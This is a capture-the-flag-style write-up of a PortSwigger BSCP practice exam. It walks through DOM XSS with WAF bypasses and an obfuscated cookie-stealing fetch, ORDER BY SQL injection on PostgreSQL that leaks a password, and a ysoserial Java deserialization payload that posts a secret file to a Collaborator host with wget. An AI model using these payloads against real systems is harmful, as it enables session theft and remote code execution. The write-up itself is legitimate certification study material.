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# BSCP Practice Exam 1 Writeup
BSCP Practice Exam 1 Writeup notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
## Stage 1: Initial Access (Cross-Site Scripting - XSS)
Target: Research panel. Vector: Injecting JavaScript via DOM within a JSON object.
#### 1. Injection Site Analysis
The search term is reflected in a JavaScript variable:
```javascript
var searchResultsObj = {"results":[],"searchTerm":"test"}
```
```javascript
"};alert(1);//
```
#### 2. WAF Bypass and Exfiltration
Direct use of `document.cookie` triggers the WAF ("Potentially dangerous search term"). To circumvent this, hexadecimal/unicode encoding or `with` function is used.
Test Payload (Bypass):
```javascript
"};alert(document['/x63/x6f/x6f/x6b/x69/x65']);//
"};alert(document['/u0063/u006f/u006f/u006b/u0069/u0065']);//
"};with(document)alert(cookie);//
```
Final payload (exfiltration via Collaborator):
* We use `eval(atob(...))` to hide the `fetch` request to our exploit server.
{% code overflow="wrap" %}
```javascript
"};eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp'));//
```
{% endcode %}
#### 3. Final Exploit (Delivered to Victim)
The script redirects the victim to the malicious URL containing the injected payload:
```javascript
```
## Stage 2: Privilege Escalation (SQL Injection)
Vector: SQL Injection in `ORDER BY` parameter
#### 1. Database Identification
The error generated by an unclosed chain confirms a possible injection. Time-based payloads are tested to identify the engine:
* PostgreSQL (Target): `DATE,pg_sleep(10)`
* Error encountered: `could not identify an ordering operator for type void`.
* Cause: `pg_sleep()` returns `void`, which cannot be sorted by `ORDER BY`.
#### 2. Data Extraction (Error-based)
To extract the administrator's password, one forces a type conversion error (Cast) to display the data in the error message.
Payload : `DATE,(CASE WHEN (1=1) THEN (SELECT 'a' FROM pg_sleep(10)) ELSE 'a' END)`
Result: Error reveals password: `invalid input syntax for type integer: "b235d711d5858825"`
### Stage 3: File System Access (Java Deserialization)
Purpose: Access the file system (exfiltration of `secret` file).
{% code overflow="wrap" %}
```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d
```
{% endcode %}
#### 1. Cookie Analysis
Once connected in admin, we observe the `admin-prefs` cookie.
* Format: URL Encoded -> Base64 -> Gzip -> Serialized Java object.
#### 2. Exploitation (Ysoserial)
The application uses a vulnerable library (CommonsCollections). After testing the different versions (1 to 8), the CommonsCollections6 version is functional.
#### 3. Exfiltration Payload
We generate a payload to send the content of the `/home/carlos/secret` file to our Collaborator server via a POST request:
{% code overflow="wrap" %}
```bash
CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://xnoho8l20pznclvof0aaw7ysjjpad01p.oastify.com'
```
{% endcode %}
* Procedure: Compress binary to Gzip -> Encode Base64 -> Replace value in `admin-prefs` cookie.
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